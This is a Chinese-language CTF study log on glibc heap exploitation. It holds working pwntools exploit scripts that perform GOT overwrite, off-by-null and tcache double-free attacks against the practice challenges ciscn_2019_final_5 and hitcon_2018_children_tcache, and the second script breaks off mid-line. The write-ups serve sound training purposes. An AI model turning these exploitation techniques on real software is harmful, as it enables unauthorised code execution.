整体分析-2021-09-27
本周的PWN都是以熟练、拓展Pwn的基础知识系统为方向
大致分类
- Unlink
- HourseOfForce
- File
- UAF
- Tcache
- 其他角度
堆题的总结经验:
- 任何东西都是万事开头难,要愿意耐心的一步步去动态调试,理解底层的原理,一切都不是难事
- 注重对不同类型题目进行分类归纳模型,很多题目都具有一定共性
- 归纳寻找漏洞的特征模型
- 归纳解决该类题型的方法模板、流程
- 有意识的去选择练习不同类型的题目、拓展广度视野
新角度
稍微有一点偏(带了Crypto),不是重点,算开拓题目视野、角度
Tcache
在不同的系统版本(libc),漏洞利用的方式往往会不同,注重自己上机调试去一步步理解原理
UAF
非常经典的题目类型,多种角度达到任意地址写。
多练练,多动手调试调试!
File结构体
新学习的漏洞利用方式,多积累,慢慢来
HourseOfForce
以一定条件为前提的利用类型:
- 我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
- 程序本身就可以分配任意大小的堆块,并没有任何限制。
Unlink
经典的堆入门题目的解决方案
=>以制造fakechunk达到任意读写堆数组地址
多动手调试,慢慢就能理解,都是模板化的东西
经验
在静态分析中
- 可以多动手调试的同时,在代码上写笔记或是对变量重命名
- 善用Patch功能,可以先以本地getshell为方向,升维攻击
- 注重环境(与elf的libc环境匹配),可使用
glibc-allinone
- 注重内存之间的关系、溢出
- 填充满后(溢出)与填充前的不同?
堆溢出=>关键检查输入函数的逻辑
- 变量类型(无符号溢出?)
- 函数特征(strcpy、读入溢出
\x00
) - 读入函数逻辑存在溢出漏洞(+1)
堆题EXP编写的问题
- 如果遇到思路正确,但实在无法getshell(崩溃)或是其他原因,请检查一下内存的问题
- 对堆创建、修改时是否多了一个
\n
- 对堆创建、修改时是否多了一个
- 先把堆题功能菜单写好,把简单做好,一步步来,做起来你就能知道下一步怎么走了。
新角度
ciscn_2019_final_5
分析
堆题
- 创建
- 修改
- 删除
与其他题目不同的地方:
- 会对内容进行 &(AND) |(OR)
- 会泄露一个low 12 bits(buf地址的后3个字节)
- 题目是ubuntu18
跳过,需要先安装ubuntn18的libc2.26动态调试漏洞版本
主题思路是利用算法特性,对堆进行攻击
漏洞分析
如上所说,本题地址存放比较特别,但是如果index为16,并且原地址第五位为0,就会导致地址被修改
而我们第一次申请时候地址最低12bits一般为0x260,即0010 0110 0000,和16即0001 0000或,就变成了0010 0111 0000即为0x270,我们就可以在chunk0的content中伪造一个chunk头部,把它释放之后再申请我们就能利用它控制下一个chunk了
漏洞利用
添加一个note[0],编号为16,size为0x10,内容为p64(0)+p64(0x91),再添加一个note[1],编号为1,size为0xc0(这个大小正好可以包括住content和size数组)
释放note[0]和note[1],重新申请一个0x80大小的note[2],把note[1]头部size改为0x21,fd改为content数组0x6020e0
申请一个0xc0大小的note[3],再申请同样大小的note[4],填入free_got, puts_got+1和atoi_got-4,大小全部设为0x10
先把free_got改为puts@plt(edit 8——free@got&0xf=8,atoi@got&0xf=8,所以需要减4),然后delete(1)泄露puts地址
edit 4把system地址写入,然后发送/bin/sh\x00即可
参考PWNKI的WP:https://www.cnblogs.com/luoleqi/p/13467067.html
保护情况:无PIE,可写GOT
[*] '/root/ciscn_final_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
EXP
from pwn import *
#r = remote("node4.buuoj.cn", 26967)
r = process("/root/ciscn_final_5",env={
"LD_PRELOAD":"/root/libc.so.6"})#/lib64/27_1-linux.so.2"})
#/usr/local/glibc-2.26/lib/ld-2.26.so
context.log_level = 'debug'
elf = ELF("/root/ciscn_final_5")
libc = ELF('/root/libc.so.6')#ELF("/lib64/27_1-linux.so.2")#
content = 0x6020e0
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
def add(index, size, content):
r.sendlineafter("your choice: ",'1')
r.sendlineafter("index: ",str(index))
r.sendlineafter("size: ",str(size))
r.recvuntil("content: ")
r.send(content)
def delete(index):
r.sendlineafter("your choice: ",'2')
r.sendlineafter("index: ",str(index))
def edit(index, content):
r.sendlineafter("your choice: ",'3')
r.sendlineafter("index: ",str(index))
r.recvuntil("content: ")
r.send(content)
add(16,0x10,p64(0)+p64(0x90))
add(1, 0xc0, 'aa\n')
delete(0)
delete(1)
add(2, 0x80, p64(0)+p64(0x21)+p64(content))
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)
edit(8,p64(puts_plt)*2)
delete(1)
puts = u64(r.recv(6).ljust(8, '\x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')
r.interactive()
TCACHE
hitcon_2018_children_tcache
分析
整体特征:
- 创建
- 删除
- 正常清零,但会把堆内容重置为
\xDA
- 正常清零,但会把堆内容重置为
- 输出
保护情况:全开
结合题目是ubuntu18.tcache
猜想:
- 申请大堆泄露unsorted bin地址
- Double Free攻击修改hook
[*] ‘/root/HITCON_2018_children_tcache’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
看了WP
此题有一个经典的[[OFFByNull]]漏洞
strcpy 字符串复制函数。复制时,遇到结束符
\x00
才会停止复制。复制结束后,会在最后写入一个结束符\x00
整体利用思路:
- 布置 4 个堆,先释放 chunk0 做好向前 unlink 准备。
- 通过写 chunk1 实现:溢出修改 chunk2 inuse ,还原 chunk2 prev_size ,伪造 chunk2 prev_size
- tcache bin double free 劫持 __free_hook 为 onegadget
主要是新知识的引入[[Tcache]]
- 一个程序允许7个tcache上限,后进入fast bin(unsorted bin)
- 同时libc2.27需要创建>1024大小的堆块才能进入unsorted bin
- tcache中的chunk永远不会被合并
- tcache也有单链回环结构的漏洞创建(double free)
- 0x250大小的堆一般是tcache的堆管理块
参考大佬的WP:https://blog.csdn.net/weixin_43921239/article/details/109252945
EXP
#coding:utf-8
from pwn import *
context(log_level='debug',arch='amd64')
#p = process("/root/HITCON_2018_children_tcache")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("/root/HITCON_2018_children_tcache")
p = remote("node4.buuoj.cn",27543)
libc = ELF("./x64/libc-2.27_buuctf.so")
def add(size, content):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(content)
def free(index):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(index))
def show(index):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(index))
def pdd():
log.success("pid=>"+str(p.pid))
pause()
add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')
free(0)#enter unsorted bin
free(1)#enter tcache bins
for i in range(0,6):
add(0xe8-i,'k'*(0xe8-i))
free(0)
add(0xe8,'k'*0xe0+p64(0x510))#off by null write size(01 05=> 00 05(0x500))
#overflows write size in chunk2(inuse) for unlink checks
free(2)
add(0x410,'leak libc')
show(0)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
add(0x60